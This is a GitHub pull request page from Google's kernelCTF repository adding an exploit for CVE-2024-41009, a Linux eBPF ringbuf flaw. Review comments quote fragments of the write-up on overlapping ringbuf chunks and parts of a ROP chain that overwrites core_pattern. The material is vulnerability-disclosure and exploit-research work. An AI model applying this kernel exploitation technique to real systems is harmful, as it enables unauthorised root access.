Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add kernelCTF CVE-2024-41009_lts_cos #118

Merged
merged 26 commits into from
Dec 6, 2024

Conversation

st424204
Copy link
Contributor

No description provided.

@koczkatamas koczkatamas force-pushed the master branch 2 times, most recently from b2e2b9f to 43a5a81 Compare September 27, 2024 21:30
Copy link
Collaborator

@JordyZomer JordyZomer left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the PR! I've written down a few comments, could you modify those (also for both exploits)? Other than that, looks good to me :)

```
And return `(void *)hdr + BPF_RINGBUF_HDR_SZ` for ebpf program to use. ebpf program is unable to modify `bpf_ringbuf_hdr` due to it is outside of memory chunk.

But with malformed `&rb->consumer_pos`, it's possible to make second allocated memory chunk overlapping with first chunk.
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you specifically add that consumer_pos and producer_pos are editable because you can mmap() them in userspace? This isn't entirely clear from the write-up.


//0x0000000000005f3a : pop rdi ; ret
*(rop++) = stext + 0x0000000000005f3a;
*(rop++) = 0x10000000;
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you document, what this constant does?

*(rop++) = 0xa00000;
//0x0000000000028245 : pop rdx ; ret
*(rop++) = stext + 0x0000000000028245;
*(rop++) = 0x20;
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you document, what this constant does?

*(rop++) = stext + core_pattern;
//0x0000000000006277 : pop rsi ; ret
*(rop++) = stext + 0x0000000000006277;
*(rop++) = 0xa00000;
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you document, what this constant does?


#define LOG_BUF_SIZE 65536

#define BPF_HEAVY_JOB \
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This isn't used right? Could you remove the parts that are unused so that it's clearer for other readers? :)

```

# Exploit
We modify `pg_off` of chunk A to `2`, so the meta pages that calculated with `bpf_ringbuf_restore_from_rec` will point to our controlled content at mmap-ed consumer pos data.
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can you add why changing this to 2 will point to the mmaped data?

@d4em0n
Copy link
Contributor

d4em0n commented Dec 6, 2024

Thanks for the review @JordyZomer.
We fixed all of them and add more clearer statements as well.
Please check it again, thanks!

@JordyZomer JordyZomer merged commit 5408da0 into google:master Dec 6, 2024
7 checks passed
@JordyZomer
Copy link
Collaborator

Thanks for the changes @d4em0n !

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants